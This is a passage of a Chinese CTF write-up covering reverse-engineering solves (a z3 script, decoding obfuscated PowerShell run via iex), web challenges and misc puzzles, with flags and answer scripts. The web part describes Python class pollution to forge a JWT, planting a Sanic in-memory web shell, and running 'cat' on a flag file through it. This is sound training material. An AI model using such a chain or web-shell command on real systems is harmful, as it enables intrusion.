v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15[0] | v15[1]) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[1] & (v15[0] == 0) & (v13 == 0) & (v6 == 0) | v2;
if (!((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0)))
v17 = 0;
}
return v17;
}
void byteToBinaryString(unsigned char byte, unsigned int* binaryArray) {
int i;
for (i = 7; i >= 0; i--) {
binaryArray[7 - i] = ((byte & (1 << i)) ? 1 : 0);
}
}
int main()
{
std::cout << "Hello World!\n";
for (unsigned int i = 0; i < 0xff; i++)
{
unsigned int binary[12];
binary[8] = 1;
binary[9] = 1;
binary[10] = 1;
binary[11] = 1;
byteToBinaryString(i, binary);
if (check((uint64)binary))
{
printf("%x", i);
}
}
}
>> > from Crypto.Cipher import AES
>> > c = bytes.fromhex("128fecc28504b24c5bba4acf11360a48")
>> > key = bytes.fromhex("3577402ECCA44A3F9AB72182F9B01F35")
>> > aes = AES.new(key = key, mode = AES.MODE_ECB)
>> > m = aes.decrypt(c)
>> > m.hex()
'4d87ef0377bb491a80f54620245807c4'
>> >
Serv1ce
myclassVar.decode是RC4+base64,两个OnClickListener中分别调用startService和stopService
MainActivity通过intent将input传递给MyService
MyService是一个service类,经过onCreate和onStartCommand后this.num=11
可以直接拿到key,关键在于native层的check
check逐字节加密并比较
根据条件z3嗦flag
from z3 import *
# 已知数组 v (请根据实际情况填入 36 个已知值)
enc = [ 0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB,
0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF,
0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B,
0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
num = 11
# 求key
key_str = "1liIl11lIllIIl11llII"
key = bytearray(64)
for i in range(64):
char = key_str[i % len(key_str)]
key[i] = ((ord(char) - ord('w')) ^ 23) & 255
print("Key:",key)
# key=[173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197]
# 创建 Z3 Solver
solver = Solver()
# 创建 input 数组
input = [BitVec(f'flag{i}', 8) for i in range(36)]
# 添加约束
for i in range(36):
tmp = (input[i] ^ key[i]) * num
solver.add(tmp == enc[i])
# 输出flag
if solver.check() == sat:
model = solver.model()
result = [model[input[i]].as_long() for i in range(36)]
# 将字节数组转换为字符串
flag = ''.join(chr(byte) for byte in result)
print(f"flag{{{flag}}}") # flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8}
else:
print("No solution found.")
a_game
分析该程序 在某个函数的位置发现一个解密的功能
控制程序走到这一段 运行后发现其会解密出一个powershell脚本并运行 将powershell脚本提取出来
可以发现采用了混淆的手法 并且使用iex执行
将iex修改为write-out打印出来
重复以上操作多次
最后解密出如下的代码
逆向一下发现是嵌套了RC4以及其他的一些算法 并且从注册表中读取输入的内容
最后密文如下
原有代码基础上写脚本逆向
enenenen1 原本以为循环加密的36次 结果在第一轮解密的时候就可能成功打印出正确结果,,
function d2 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x65, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = ($inputbyte[$k] - $key[$k % $key.Length])
}
return $inputbyte;
}
function d3 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x33, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] / $key[$k % $key.Length]
}
return $inputbyte;
}
function d1 {
param(
$inputbyte
)
$key = $inputbyte[36..40 ]
$encryptedText = $inputbyte[0..35]
Write-Host $encryptedText
#Write-Output ""
Write-Host $key
#$encryptedText = @();
for ($k = 0; $k -lt $encryptedText.Length ; $k++) {
$key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
$encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
Write-Host $encryptedText
#Write-Output ""
Write-Host $key
}
Write-Output("HHHHHHHHH")
return $encryptedText
}
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
#2 2 3 2 2 2 1()
$test = @(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36)
$out = enenenenene1 -input $test
Write-Host "encrypt:"
Write-Host $out
Write-Host "decrypt:"
$out2 = d1 -input $out
#Write-Host $out2 -NoNewline
Write-Host "real decrypt:"
(d1 -input (d2 -input (d2 -input (d2 -input (d3 -input ( d2 -input (d2 -input $result)))))))
转换一下即可 =-=
flag = [55,51,52,49,50,48,51,54,45,55,100,56,99,45,52,51,55,98,45,57,48,50,54,45,48,99,50,99,97,49,98,55,102,55,57,100]
print(flag)
print(bytes(flag))
Web
capoo
非预期,能直接读start.sh,解码出里面的flag文件名也可以直接读取
解码即可得到flag
ez_picker
url/register
注册用户admin/admin
url/login
登录
url/upload
显示{“status”:”fail”,”message”:”Permission Denied”}
查看token
根据源码得知,把guest改为admin即可访问upload
但是需要secret_key作为修改前提
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
打python污染,进行污染secret_key
然后修改jwt
存在上传点
https://www.cnblogs.com/gxngxngxn/p/18205235
根据这篇文章去打sanic框架下的内存马
生成然后上传
发现存在过滤
去污染
污染后成功上传
/gxngxngxn?gxngxngxn=cat /tr3e_fl4g_1s_h3re_lol
得到flag
Misc
ezflag
下载附件,解压,发现流量包丢流量包工具 CTF-NET 中
发现存在flag.zip
一键分离所有文件
解压出flag.zip
但是没办法打开,拖入010中
很清晰的看见有图片头
改后缀为png
得到flag
PvZ
李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱
看到数字,图片都懒得看了,直接爆破(爆破大法好了)
先生成1-10000的数字的md5值,然后直接开爆
得到一张歪斜的不全的二维码和一个角上的信息
先使用夸克进行矫正,然后利用
然后稍微确定一下定位符的位置,利用ppt进行拼接即可扫得到一串
微信扫码得到
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
结合图片名称猜测得到